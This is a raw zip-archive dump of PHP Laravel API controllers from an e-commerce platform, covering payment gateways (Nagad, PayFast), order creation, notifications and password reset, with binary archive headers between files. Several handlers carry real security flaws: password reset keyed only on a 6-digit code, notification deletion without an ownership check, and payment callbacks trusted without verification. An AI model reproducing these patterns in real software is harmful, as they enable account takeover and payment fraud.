translate("Payment failed or got cancelled")]); } } catch (\Exception $e) { return response()->json(['result' => false, 'message' => translate("Payment failed or got cancelled")]); } } } PKPM]j .<#"#"+Http/Controllers/Api/V2/NagadController.phpnu�[���nagadHost = "http://sandbox.mynagad.com:10080/"; } else { $this->nagadHost = "https://api.mynagad.com/"; } } public function begin(Request $request) { $this->amount = $request->amount; $this->tnx_status = false; if ($request->payment_type == 'cart_payment') { $combined_order_id = $request->combined_order_id; $this->tnx = $combined_order_id; $combined_order = CombinedOrder::find($combined_order_id); $this->amount = $combined_order->grand_total; } elseif ($request->payment_type == 'cart_payment') { $this->tnx = $request->order_id; $order = Order::find($request->order_id); $this->amount = $order->grand_total; } elseif ( $request->payment_type == 'wallet_payment' || $request->payment_type == 'seller_package_payment' || $request->payment_type == 'customer_package_payment' ) { $this->tnx = rand(10000, 99999); } return $this->getSession($request->payment_type); } public function getSession($payment_type) { $DateTime = Date('YmdHis'); $MerchantID = config('nagad.merchant_id'); //$invoice_no = 'Inv'.Date('YmdH').rand(1000, 10000); $invoice_no = $this->tnx_status ? $this->tnx : 'Inv' . Date('YmdH') . rand(1000, 10000); $merchantCallbackURL = route('app.nagad.callback_url', ['payment_type' => $payment_type]); $SensitiveData = [ 'merchantId' => $MerchantID, 'datetime' => $DateTime, 'orderId' => $invoice_no, 'challenge' => NagadUtility::generateRandomString() ]; $PostData = array( 'accountNumber' => config('nagad.merchant_number'), //optional 'dateTime' => $DateTime, 'sensitiveData' => NagadUtility::EncryptDataWithPublicKey(json_encode($SensitiveData)), 'signature' => NagadUtility::SignatureGenerate(json_encode($SensitiveData)) ); $ur = $this->nagadHost . "api/dfs/check-out/initialize/" . $MerchantID . "/" . $invoice_no; $Result_Data = NagadUtility::HttpPostMethod($ur, $PostData); if (isset($Result_Data['sensitiveData']) && isset($Result_Data['signature'])) { if ($Result_Data['sensitiveData'] != "" && $Result_Data['signature'] != "") { $PlainResponse = json_decode(NagadUtility::DecryptDataWithPrivateKey($Result_Data['sensitiveData']), true); if (isset($PlainResponse['paymentReferenceId']) && isset($PlainResponse['challenge'])) { $paymentReferenceId = $PlainResponse['paymentReferenceId']; $randomserver = $PlainResponse['challenge']; $SensitiveDataOrder = array( 'merchantId' => $MerchantID, 'orderId' => $invoice_no, 'currencyCode' => '050', 'amount' => $this->amount, 'challenge' => $randomserver ); // $merchantAdditionalInfo = '{"no_of_seat": "1", "Service_Charge":"20"}'; if ($this->tnx !== '') { $this->merchantAdditionalInfo['tnx_id'] = $this->tnx; } // echo $merchantAdditionalInfo; // exit(); $PostDataOrder = array( 'sensitiveData' => NagadUtility::EncryptDataWithPublicKey(json_encode($SensitiveDataOrder)), 'signature' => NagadUtility::SignatureGenerate(json_encode($SensitiveDataOrder)), 'merchantCallbackURL' => $merchantCallbackURL, 'additionalMerchantInfo' => (object)$this->merchantAdditionalInfo ); // echo json_encode($PostDataOrder); // exit(); $OrderSubmitUrl = $this->nagadHost . "api/dfs/check-out/complete/" . $paymentReferenceId; $Result_Data_Order = NagadUtility::HttpPostMethod($OrderSubmitUrl, $PostDataOrder); //dd($Result_Data_Order); if ($Result_Data_Order['status'] == "Success") { return response()->json([ 'data' => $Result_Data_Order, 'result' => true, 'url' => $Result_Data_Order['callBackUrl'], 'message' => translate('Redirect Url is found') ]); } else { return response()->json([ 'data' => $Result_Data_Order, 'result' => false, 'url' => '', 'message' => translate('Could not generate payment link') ]); } } else { return response()->json([ 'data' => $PlainResponse, 'result' => false, 'url' => '', 'message' => translate('Payment reference id or challenge is missing') ]); } } else { return response()->json([ 'data' => null, 'result' => false, 'url' => '', 'message' => translate('Sensitive data or Signature is empty') ]); } } else { return response()->json([ 'data' => null, 'result' => false, 'url' => '', 'message' => translate('Sensitive data or Signature is missing') ]); } } public function verify(Request $request, $payment_type) { $Query_String = explode("&", explode("?", $_SERVER['REQUEST_URI'])[1]); $payment_ref_id = substr($Query_String[2], 15); $url = $this->nagadHost . "api/dfs/verify/payment/" . $payment_ref_id; $json = NagadUtility::HttpGet($url); if (json_decode($json)->status == 'Success') { return response()->json([ 'result' => true, 'message' => translate('Payment Processing'), 'payment_details' => $json ]); } return response()->json([ 'result' => false, 'message' => translate('Payment failed !'), 'payment_details' => '' ]); } public function process(Request $request) { try { $payment_type = $request->payment_type; if ($payment_type == 'cart_payment') { checkout_done($request->combined_order_id, $request->payment_details); } elseif ($payment_type == 'order_re_payment') { order_re_payment_done($request->order_id, 'Nagad', $request->payment_details); } elseif ($payment_type == 'wallet_payment') { wallet_payment_done($request->user_id, $request->amount, 'Nagad', $request->payment_details); } elseif ($payment_type == 'seller_package_payment') { seller_purchase_payment_done($request->user_id, $request->package_id, 'Nagad', $request->payment_details); } elseif ($payment_type == 'customer_package_payment') { customer_purchase_payment_done($request->user_id, $request->package_id, 'Nagad', $request->payment_details); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } catch (\Exception $e) { return response()->json(['result' => false, 'message' => $e->getMessage()]); } } } PKPM]� ��2Http/Controllers/Api/V2/NotificationController.phpnu�[���user()->unreadNotifications->markAsRead(); $notifications = auth()->user()->notifications()->get(); return new NotificationCollection($notifications); } public function unreadNotifications(){ $notifications = auth()->user()->unreadNotifications()->get(); return response()->json([ 'count' => $notifications->count(), 'data' => new NotificationCollection($notifications), ]); } public function bulkDelete(Request $request){ if($request->notification_ids != null){ $idsString = substr($request->notification_ids, strpos($request->notification_ids, '[') + 1, strpos($request->notification_ids, ']') - strpos($request->notification_ids, '[') - 1); $idsString = str_replace(' ', '', $idsString); $idsArray = explode(',', $idsString); $idsArray = array_map('trim', $idsArray); // dd($idsArray); foreach($idsArray as $notificationId){ DB::table('notifications')->where('id',$notificationId)->delete(); } return $this->success(translate('Notification deleted successfully')); } return $this->failed(translate('Something went wrong')); } public function notificationMarkAsRead($notificationId) { $notification = auth()->user()->unreadNotifications->where('id',$notificationId)->first(); // Notification mark as read auth()->user()->unreadNotifications->where('id',$notificationId)->markAsRead(); return response()->json([ 'result' => false, 'type' => $notification->type, 'data' => $notification->data ]); } } PKPM]<-s ii4Http/Controllers/Api/V2/OfflinePaymentController.phpnu�[���order_id); if($request->name != null && $request->amount != null && $request->trx_id != null){ $data['name'] = $request->name; $data['amount'] = $request->amount; $data['trx_id'] = $request->trx_id; $data['photo'] = $request->photo; } else { return response()->json([ 'result' => false, 'message' => translate('Something went wrong') ]); } $order->manual_payment_data = json_encode($data); $order->payment_type = $request->payment_option; $order->payment_status = 'Submitted'; $order->manual_payment = 1; $order->save(); return response()->json([ 'result' => true, 'message' => translate('Submitted Successfully') ]); } } PKPM]�Zs�ll3Http/Controllers/Api/V2/OnlinePaymentController.phpnu�[���payment_option))) . "Controller"; return (new $directory)->pay($request); } public function paymentSuccess(Request $request) { try { $payment_type = $request->payment_type; if ($payment_type == 'cart_payment') { checkout_done($request->order_id, $request->payment_details); } elseif ($payment_type == 'order_re_payment') { order_re_payment_done($request->order_id, 'Iyzico', $request->payment_details); } elseif ($payment_type == 'wallet_payment') { wallet_payment_done($request->user_id, $request->amount, 'Iyzico', $request->payment_details); } elseif ($payment_type == 'seller_package_payment') { seller_purchase_payment_done($request->user_id, $request->package_id, 'Iyzico', $request->payment_details); } elseif ($payment_type == 'customer_package_payment') { customer_purchase_payment_done($request->user_id, $request->package_id, 'Iyzico', $request->payment_details); } return redirect(url("api/v2/online-pay/done")); } catch (\Exception $e) { return redirect(url("api/v2/online-pay/done"))->with('errors',$e->getMessage()); } } public function paymentFailed() { return $this->failed(session('errors')); } function paymentDone(){ return $this->success("Payment Done"); } } PKPM]}mk� 3 3+Http/Controllers/Api/V2/OrderController.phpnu�[���user()->id)->active()->get() as $key => $cartItem) { $product = Product::find($cartItem['product_id']); $subtotal += cart_product_price($cartItem, $product, false, false) * $cartItem['quantity']; } if ($subtotal < get_setting('minimum_order_amount')) { return $this->failed(translate("You order amount is less then the minimum order amount")); } } $cartItems = Cart::where('user_id', auth()->user()->id)->active()->get(); if ($cartItems->isEmpty()) { return response()->json([ 'combined_order_id' => 0, 'result' => false, 'message' => translate('Cart is Empty') ]); } $user = User::find(auth()->user()->id); $address = Address::where('id', $cartItems->first()->address_id)->first(); $billing_address = Address::where('id', $cartItems->first()->billing_address)->first(); $shippingAddress = []; if ($address != null) { $shippingAddress['name'] = $user->name; $shippingAddress['email'] = $user->email; $shippingAddress['address'] = $address->address. (isset($address->area) ? ', ' . $address->area->name : ''); $shippingAddress['country'] = $address->country->name; if(get_setting('has_state') == 1){ $shippingAddress['state'] = $address->state->name; } $shippingAddress['city'] = $address->city->name; $shippingAddress['postal_code'] = $address->postal_code; $shippingAddress['phone'] = $address->phone; if ($address->latitude || $address->longitude) { $shippingAddress['lat_lang'] = $address->latitude . ',' . $address->longitude; } } $billingAddress=[]; if ($billing_address != null) { $billingAddress['name'] = $user->name; $billingAddress['email'] = $user->email; $billingAddress['address'] = $billing_address->address. (isset($billing_address->area) ? ', ' . $billing_address->area->name : ''); $billingAddress['country'] = $billing_address->country->name; if(get_setting('has_state') == 1){ $billingAddress['state'] = $billing_address->state->name; } $billingAddress['city'] = $billing_address->city->name; $billingAddress['postal_code'] = $billing_address->postal_code; $billingAddress['phone'] = $billing_address->phone; if ($billing_address->latitude || $billing_address->longitude) { $billingAddress['lat_lang'] = $billing_address->latitude . ',' . $billing_address->longitude; } }else { $billingAddress = $shippingAddress; } $combined_order = new CombinedOrder; $combined_order->user_id = $user->id; $combined_order->shipping_address = json_encode($shippingAddress); $combined_order->save(); $seller_products = array(); foreach ($cartItems as $cartItem) { $product_ids = array(); $product = Product::find($cartItem['product_id']); if (isset($seller_products[$product->user_id])) { $product_ids = $seller_products[$product->user_id]; } array_push($product_ids, $cartItem); $seller_products[$product->user_id] = $product_ids; } foreach ($seller_products as $seller_product) { $order = new Order; $order->combined_order_id = $combined_order->id; $order->user_id = $user->id; $order->shipping_address = $combined_order->shipping_address; $order->billing_address = json_encode($billingAddress); $order->order_from = 'app'; $order->payment_type = $request->payment_type; $order->delivery_viewed = '0'; $order->payment_status_viewed = '0'; $order->code = date('Ymd-His') . rand(10, 99); $order->date = strtotime('now'); if ($set_paid) { $order->payment_status = 'paid'; } else { $order->payment_status = 'unpaid'; } $order->save(); $subtotal = 0; $tax = 0; $shipping = 0; $coupon_discount = 0; $gst =0; //Order Details Storing foreach ($seller_product as $cartItem) { $product = Product::find($cartItem['product_id']); $subtotal += cart_product_price($cartItem, $product, false, false) * $cartItem['quantity']; $tax += cart_product_tax($cartItem, $product, false) * $cartItem['quantity']; $coupon_discount += $cartItem['discount']; $product_variation = $cartItem['variation']; $product_stock = $product->stocks->where('variant', $product_variation)->first(); if ($product->digital != 1 && $cartItem['quantity'] > $product_stock->qty) { $order->delete(); $combined_order->delete(); return response()->json([ 'combined_order_id' => 0, 'result' => false, 'message' => translate('The requested quantity is not available for ') . $product->name ]); } elseif ($product->digital != 1) { $product_stock->qty -= $cartItem['quantity']; $product_stock->save(); } $order_detail = new OrderDetail; $order_detail->order_id = $order->id; $order_detail->seller_id = $product->user_id; $order_detail->product_id = $product->id; $order_detail->variation = $product_variation; $order_detail->price = cart_product_price($cartItem, $product, false, false) * $cartItem['quantity']; $order_detail->tax = cart_product_tax($cartItem, $product, false) * $cartItem['quantity']; $order_detail->shipping_type = $cartItem['shipping_type']; $order_detail->product_referral_code = $cartItem['product_referral_code']; $order_detail->shipping_cost = $cartItem['shipping_cost']; $shipping += $order_detail->shipping_cost; if (addon_is_activated('gst_system')) { $order_detail->gst_rate = $product->gst_rate; $order_detail->gst_amount = (($order_detail->shipping_cost + $order_detail->tax + $order_detail->price - $cartItem['discount'])*$product->gst_rate)/100; $gst+=$order_detail->gst_amount; } //End of storing shipping cost if (addon_is_activated('club_point')) { $order_detail->earn_point = $product->earn_point; } $order_detail->quantity = $cartItem['quantity']; if (addon_is_activated('refund_request')) { $refund_type = get_setting('refund_type'); if($refund_type == 'global_refund' && $product->refundable != 0){ $refund_days = get_setting('refund_request_time'); $order_detail->refund_days = (int) $refund_days; if(get_setting('enable_dispute_refund') == 1){ $dispute_refund_days = get_setting('dispute_refund_request_time'); $order_detail->dispute_refund_days = (int) $dispute_refund_days; } }elseif($refund_type == 'category_based_refund' && $product->refundable != 0){ $refund_days = $product->main_category->refund_request_time; $order_detail->refund_days = (int) $refund_days; if(get_setting('enable_dispute_refund') == 1){ $dispute_refund_days = get_setting('dispute_refund_request_time'); $order_detail->dispute_refund_days = (int) $dispute_refund_days; } } } $order_detail->save(); $product->num_of_sale = $product->num_of_sale + $cartItem['quantity']; $product->save(); $order->seller_id = $product->user_id; $order->shipping_type = $cartItem['shipping_type']; if ($cartItem['shipping_type'] == 'pickup_point') { $order->pickup_point_id = $cartItem['pickup_point']; } if ($cartItem['shipping_type'] == 'carrier') { $order->carrier_id = $cartItem['carrier_id']; } if ($product->added_by == 'seller' && $product->user->seller != null) { $seller = $product->user->seller; $seller->num_of_sale += $cartItem['quantity']; $seller->save(); } if (addon_is_activated('affiliate_system')) { if ($order_detail->product_referral_code) { $referred_by_user = User::where('referral_code', $order_detail->product_referral_code)->first(); $affiliateController = new AffiliateController; $affiliateController->processAffiliateStats($referred_by_user->id, 0, $order_detail->quantity, 0, 0); } } } $order->grand_total = $subtotal + $tax + $shipping + $gst; if ($seller_product[0]->coupon_code != null) { $order->coupon_discount = $coupon_discount; $order->grand_total -= $coupon_discount; $coupon_usage = new CouponUsage; $coupon_usage->user_id = $user->id; $coupon_usage->coupon_id = Coupon::where('code', $seller_product[0]->coupon_code)->first()->id; $coupon_usage->save(); } $combined_order->grand_total += $order->grand_total; if (strpos($request->payment_type, "manual_payment_") !== false) { // if payment type like manual_payment_1 or manual_payment_25 etc) $order->manual_payment = 1; $order->save(); } $order->save(); } $combined_order->save(); Cart::where('user_id', auth()->user()->id)->active()->delete(); if ( $request->payment_type == 'cash_on_delivery' || $request->payment_type == 'wallet' || strpos($request->payment_type, "manual_payment_") !== false // if payment type like manual_payment_1 or manual_payment_25 etc ) { NotificationUtility::sendOrderPlacedNotification($order); } return response()->json([ 'combined_order_id' => $combined_order->id, 'result' => true, 'message' => translate('Your order has been placed successfully') ]); } public function order_cancel($id) { $order = Order::where('id', $id)->where('user_id', auth()->user()->id)->first(); if ($order && ($order->delivery_status == 'pending' && $order->payment_status == 'unpaid')) { $order->delivery_status = 'cancelled'; $order->save(); foreach ($order->orderDetails as $key => $orderDetail) { $orderDetail->delivery_status = 'cancelled'; $orderDetail->save(); product_restock($orderDetail); } return $this->success(translate('Order has been canceled successfully')); } else { return $this->failed(translate('Something went wrong')); } } } PKPM]庘�� � 3Http/Controllers/Api/V2/PasswordResetController.phpnu�[���validate([ 'g-recaptcha-response' => [ Rule::when(get_setting('google_recaptcha') == 1 && get_setting('recaptcha_forgot_password') == 1, ['required', new Recaptcha()], ['sometimes']) ], ]); if ($request->send_code_by == 'email') { $user = User::where('email', $request->email_or_phone)->first(); } else { $user = User::where('phone', $request->email_or_phone)->first(); } if (!$user) { return response()->json([ 'result' => false, 'message' => translate('User is not found') ], 404); } if ($user) { $user->verification_code = rand(100000, 999999); $user->save(); if ($request->send_code_by == 'phone') { $otpController = new OTPVerificationController(); $otpController->send_code($user); } else { try { $user->notify(new AppEmailVerificationNotification()); } catch (\Exception $e) { } } } return response()->json([ 'result' => true, 'message' => translate('A code is sent') ], 200); } public function confirmReset(Request $request) { $user = User::where('verification_code', $request->verification_code)->first(); if ($user != null) { $user->verification_code = null; $user->password = Hash::make($request->password); $user->save(); return response()->json([ 'result' => true, 'message' => translate('Your password is reset.Please login'), ], 200); } else { return response()->json([ 'result' => false, 'message' => translate('No user is found'), ], 200); } } public function resendCode(Request $request) { if ($request->verify_by == 'email') { $user = User::where('email', $request->email_or_phone)->first(); } else { $user = User::where('phone', $request->email_or_phone)->first(); } if (!$user) { return response()->json([ 'result' => false, 'message' => translate('User is not found') ], 404); } $user->verification_code = rand(100000, 999999); $user->save(); if ($request->verify_by == 'email') { $user->notify(new AppEmailVerificationNotification()); } else { $otpController = new OTPVerificationController(); $otpController->send_code($user); } return response()->json([ 'result' => true, 'message' => translate('A code is sent again'), ], 200); } } PKPM]Qr�gg-Http/Controllers/Api/V2/PayfastController.phpnu�[���payment_type; $combined_order_id = $request->combined_order_id; $amount = $request->amount; $user_id = $request->user_id; if ($payment_type == 'cart_payment') { $combined_order = CombinedOrder::findOrFail($combined_order_id); return PayfastUtility::create_checkout_form($combined_order->id, $combined_order->grand_total, $payment_type, 'api'); } elseif ($payment_type == 'order_re_payment') { $order = Order::findOrFail($request->order_id); return PayfastUtility::create_checkout_form($order->id, $order->grand_total, $payment_type, 'api'); } elseif ($payment_type == 'wallet_payment') { return PayfastUtility::create_wallet_form($user_id, $amount, $payment_type, 'api'); } elseif ($payment_type == 'customer_package_payment') { return PayfastUtility::create_customer_package_form($user_id, $request->package_id, $amount, $payment_type, 'api'); } elseif ($payment_type == 'seller_package_payment') { return PayfastUtility::create_seller_package_form($user_id, $request->package_id, $amount, $payment_type, 'api'); } } // ========================================================================= // ========================================================================= public function payfast_notify(Request $request) { // Tell PayFast that this page is reachable by triggering a header 200 header('HTTP/1.0 200 OK'); flush(); $pfData = $_POST; if ($_POST['payment_status'] == "COMPLETE") { return self::payfast_success($_POST); } return $this->incomplete(); } public static function payfast_success($response) { $payment_type = $response['custom_str3']; if ($payment_type == 'cart_payment') { $order_id = $response['custom_str1']; checkout_done($order_id, json_encode($response)); } elseif ($payment_type == 'order_re_payment') { $order_id = $response['custom_str1']; order_re_payment_done($order_id, 'PayFast', json_encode($response)); } elseif ($payment_type == 'wallet_payment') { $user_id = $response['custom_str1']; $amount = $response['amount_gross']; wallet_payment_done($user_id, $amount, 'PayFast', json_encode($response)); } elseif ($payment_type == 'seller_package_payment') { $user_id = $response['custom_str1']; $package_id = $response['custom_str2']; $amount = $response['amount_gross']; seller_purchase_payment_done($user_id, $package_id, 'PayFast', json_encode($response)); } elseif ($payment_type == 'customer_package_payment') { $user_id = $response['custom_str1']; $package_id = $response['custom_str2']; customer_purchase_payment_done($user_id, $package_id, 'PayFast', json_encode($response)); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } public static function payfast_return(Request $request) { return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } public static function payfast_cancel() { return self::incomplete(); } public static function incomplete() { return response()->json(['result' => false, 'url' => '', 'message' => "Incomplete payment"]); } // ========================================================================= // ========================================================================= } PKPM]�'��-Http/Controllers/Api/V2/PaymentController.phpnu�[���store($request); } public function manualPayment(Request $request) { $order = new OrderController; return $order->store($request); } } PKPM]͉�I�I2Http/Controllers/Api/V2/PaymentTypesController.phpnu�[���has('mode')) { $mode = $request->mode; // wallet or other things , comes from query param ?mode=wallet } $list = "both"; if ($request->has('list')) { $list = $request->list; // ?list=offline } $payment_types = array(); if ($list == "online" || $list == "both") { $all_online_payment_methods = get_activate_payment_methods(); if (count($all_online_payment_methods) > 0) { $available_online_payment_methods = [ "paypal", "stripe", "instamojo", "razorpay", "paystack", "iyzico", "bkash", "nagad", "sslcommerz", "aamarpay", "flutterwave", "payfast", "paytm", "khalti", "myfatoorah", "phonepe", "cybersource" ]; if (get_setting('phonepe_version', '1') != 2) { $available_online_payment_methods = array_diff($available_online_payment_methods, ['phonepe']); } $online_payment_methods = $all_online_payment_methods->toQuery()->whereIn('name', $available_online_payment_methods)->get(); foreach ($online_payment_methods as $online_payment_method){ if ($online_payment_method->active == 1) { $payment_type = array(); $payment_type['payment_type'] = $online_payment_method->name; $payment_type['payment_type_key'] = $online_payment_method->name; $payment_type['image'] = static_asset('assets/img/cards/'.$online_payment_method->name.'.png'); $payment_type['name'] = ucfirst($online_payment_method->name); $payment_type['title'] = translate($online_payment_method->name); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with ".$online_payment_method->name); } $payment_types[] = $payment_type; } } } /* if (get_setting('paypal_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'paypal_payment'; $payment_type['payment_type_key'] = 'paypal'; $payment_type['image'] = static_asset('assets/img/cards/paypal.png'); $payment_type['name'] = "Paypal"; $payment_type['title'] = translate("Checkout with Paypal"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Paypal"); } $payment_types[] = $payment_type; } if (get_setting('stripe_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'stripe_payment'; $payment_type['payment_type_key'] = 'stripe'; $payment_type['image'] = static_asset('assets/img/cards/stripe.png'); $payment_type['name'] = "Stripe"; $payment_type['title'] = translate("Checkout with Stripe"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Stripe"); } $payment_types[] = $payment_type; } if (get_setting('instamojo_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'instamojo_payment'; $payment_type['payment_type_key'] = 'instamojo_payment'; $payment_type['image'] = static_asset('assets/img/cards/instamojo.png'); $payment_type['name'] = "Instamojo"; $payment_type['title'] = translate("Checkout with Instamojo"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Instamojo"); } $payment_types[] = $payment_type; } if (get_setting('razorpay') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'razorpay'; $payment_type['payment_type_key'] = 'razorpay'; $payment_type['image'] = static_asset('assets/img/cards/rozarpay.png'); $payment_type['name'] = "Razorpay"; $payment_type['title'] = translate("Checkout with Razorpay"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Razorpay"); } $payment_types[] = $payment_type; } if (get_setting('paystack') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'paystack'; $payment_type['payment_type_key'] = 'paystack'; $payment_type['image'] = static_asset('assets/img/cards/paystack.png'); $payment_type['name'] = "Paystack"; $payment_type['title'] = translate("Checkout with Paystack"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Paystack"); } $payment_types[] = $payment_type; } if (get_setting('iyzico') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'iyzico'; $payment_type['payment_type_key'] = 'iyzico'; $payment_type['image'] = static_asset('assets/img/cards/iyzico.png'); $payment_type['name'] = "Iyzico"; $payment_type['title'] = translate("Checkout with Iyzico"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Iyzico"); } $payment_types[] = $payment_type; } if (get_setting('bkash') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'bkash'; $payment_type['payment_type_key'] = 'bkash'; $payment_type['image'] = static_asset('assets/img/cards/bkash.png'); $payment_type['name'] = "Bkash"; $payment_type['title'] = translate("Checkout with Bkash"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Bkash"); } $payment_types[] = $payment_type; } if (get_setting('nagad') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'nagad'; $payment_type['payment_type_key'] = 'nagad'; $payment_type['image'] = static_asset('assets/img/cards/nagad.png'); $payment_type['name'] = "Nagad"; $payment_type['title'] = translate("Checkout with Nagad"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Nagad"); } $payment_types[] = $payment_type; } if (get_setting('sslcommerz_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'sslcommerz_payment'; $payment_type['payment_type_key'] = 'sslcommerz'; $payment_type['image'] = static_asset('assets/img/cards/sslcommerz.png'); $payment_type['name'] = "Sslcommerz"; $payment_type['title'] = translate("Checkout with Sslcommerz"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Sslcommerz"); } $payment_types[] = $payment_type; } if (get_setting('aamarpay') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'aamarpay'; $payment_type['payment_type_key'] = 'aamarpay'; $payment_type['image'] = static_asset('assets/img/cards/aamarpay.png'); $payment_type['name'] = "aamarpay"; $payment_type['title'] = translate("Checkout with aamarpay"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with aamarpay"); } $payment_types[] = $payment_type; } //African Payment Gateways if (addon_is_activated('african_pg')) { if (get_setting('flutterwave') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'flutterwave'; $payment_type['payment_type_key'] = 'flutterwave'; $payment_type['image'] = static_asset('assets/img/cards/flutterwave.png'); $payment_type['name'] = "Flutterwave"; $payment_type['title'] = translate("Checkout with Flutterwave"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Flutterwave"); } $payment_types[] = $payment_type; } if (get_setting('payfast') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'payfast'; $payment_type['payment_type_key'] = 'payfast'; $payment_type['image'] = static_asset('assets/img/cards/payfast.png'); $payment_type['name'] = "Payfast"; $payment_type['title'] = translate("Checkout with Payfast"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Payfast"); } $payment_types[] = $payment_type; } } if (addon_is_activated('paytm')) { if (get_setting('paytm_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'paytm'; $payment_type['payment_type_key'] = 'paytm'; $payment_type['image'] = static_asset('assets/img/cards/paytm.png'); $payment_type['name'] = "Paytm"; $payment_type['title'] = translate("Checkout with Paytm"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Paytm"); } $payment_types[] = $payment_type; } if (get_setting('khalti_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'khalti'; $payment_type['payment_type_key'] = 'khalti'; $payment_type['image'] = static_asset('assets/img/cards/khalti.png'); $payment_type['name'] = "Khalti"; $payment_type['title'] = translate("Checkout with Khalti"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Khalti"); } $payment_types[] = $payment_type; } if (get_setting('myfatoorah') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'myfatoorah'; $payment_type['payment_type_key'] = 'myfatoorah'; $payment_type['image'] = static_asset('assets/img/cards/myfatoorah.png'); $payment_type['name'] = "myfatoorah"; $payment_type['title'] = translate("Checkout with myfatoorah"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with myfatoorah"); } $payment_types[] = $payment_type; } if (get_setting('phonepe_payment') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'phonepe'; $payment_type['payment_type_key'] = 'phonepe'; $payment_type['image'] = static_asset('assets/img/cards/phonepe.png'); $payment_type['name'] = "phonepe"; $payment_type['title'] = translate("Checkout with Phonepe"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; if ($mode == 'wallet') { $payment_type['title'] = translate("Recharge with Phonepe"); } $payment_types[] = $payment_type; } } */ } // you cannot recharge wallet by wallet or cash payment if ($mode != 'wallet' && $mode != 'seller_package' && $list != "offline") { if (get_setting('wallet_system') == 1) { $payment_type = array(); $payment_type['payment_type'] = 'wallet_system'; $payment_type['payment_type_key'] = 'wallet'; $payment_type['image'] = static_asset('assets/img/cards/wallet.png'); $payment_type['name'] = "Wallet"; $payment_type['title'] = translate("Wallet Payment"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; $payment_types[] = $payment_type; } $haveDigitalProduct = false; $cash_on_delivery = false; if ($mode == "order") { $user = auth()->user(); $carts = ($user != null) ? Cart::where('user_id', $user->id)->active()->get() : ($request->has('temp_user_id') ? Cart::where('temp_user_id', $request->temp_user_id)->active()->get() : [] ); foreach ($carts as $key => $cart) { $haveDigitalProduct = $cart->product->digital == 1; $cash_on_delivery = $cart->product->cash_on_delivery == 0; if ($haveDigitalProduct || $cash_on_delivery) { break; } } } if (get_setting('cash_payment') == 1 && !$haveDigitalProduct && !$cash_on_delivery) { $payment_type = array(); $payment_type['payment_type'] = 'cash_payment'; $payment_type['payment_type_key'] = 'cash_on_delivery'; $payment_type['image'] = static_asset('assets/img/cards/cod.png'); $payment_type['name'] = "Cash Payment"; $payment_type['title'] = translate("Cash on delivery"); $payment_type['offline_payment_id'] = 0; $payment_type['details'] = ""; $payment_types[] = $payment_type; } } if (($list == 'offline' || $list == "both") && addon_is_activated('offline_payment')) { foreach (ManualPaymentMethod::all() as $method) { $bank_list = ""; $bank_list_item = ""; if ($method->bank_info != null) { foreach (json_decode($method->bank_info) as $key => $info) { $bank_list_item .= "
  • " . 'Bank Name' . " - {$info->bank_name} ," . 'Account Name' . " - $info->account_name , " . 'Account Number' . " - {$info->account_number} , " . 'Routing Number' . " - {$info->routing_number}
  • "; } $bank_list = "